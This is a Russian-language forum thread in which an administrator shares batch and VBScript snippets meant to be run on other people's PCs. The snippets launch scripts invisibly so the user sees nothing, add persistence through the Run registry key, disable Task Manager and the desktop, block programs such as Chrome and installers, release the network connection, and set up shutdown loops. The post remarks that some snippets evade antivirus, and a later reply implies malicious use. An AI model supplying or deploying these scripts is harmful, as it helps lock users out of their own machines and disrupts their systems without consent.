Интересные bat- и vbs-файлы

mexan

Администратор
Регистрация
28.10.2017
Сообщения
878
Решения
1
Реакции
153
Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые - требуют прав администратора при запуске, некоторые - перезагрузку для применения изменений. Также не все они невидимы для антивируса, некоторые - да, некоторые - нет.
Внизу буду указывать два параметра "(перезагрузка, админ)". Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.

Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как "Все файлы" с указание расширения vbs):
Код:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false
Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:
Код:
@Echo off

Меняем местами значение кнопок мыши
Код:
@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Выключение
Код:
shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)
А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.

Перезагрузка
Код:
shutdown /r /t 1

Отключение редактирования меню Пуск
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключение рабочего стола
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключаем интернет
Код:
Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew

Меняем расширение всех ярлыков на txt
Код:
assoc .lnk=.txt
(админ)

Добавление файла в автозагрузку
Код:
copy ""%0"" "путь к файлу"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f
Пример:
Код:
copy ""%0"" "C:\Users\user\Desktop\re.bat"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Filel" /t REG_SZ /d "C:\Users\user\Desktop\re.bat" /f
(перезагрузка, админ)

Отключение диспетчера задач
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Запрещаем запуск программ
Добавляйте свои по желанию
Код:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
Например, чтобы запретить запуск Chrome:
Код:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Запрещаем установку программ
Код:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Убираем панель управления
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков
Код:
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)
 

mexan

Администратор
Регистрация
28.10.2017
Сообщения
878
Решения
1
Реакции
153
Ну такие команды, ты сам понимаешь для чего используются)).
 

Amney

Администратор
Регистрация
27.05.2019
Сообщения
187
Реакции
60
Возраст
29
Сань, а можешь написать батник, который будет раз в день определенную папку чистить?
 

mexan

Администратор
Регистрация
28.10.2017
Сообщения
878
Решения
1
Реакции
153
Сань, а можешь написать батник, который будет раз в день определенную папку чистить?
Сам прям с нуля нет, но почитав могу. Да и слушай, смысл напрягаться, если есть готовые реализации в инете. Я натыкался.
 
Верх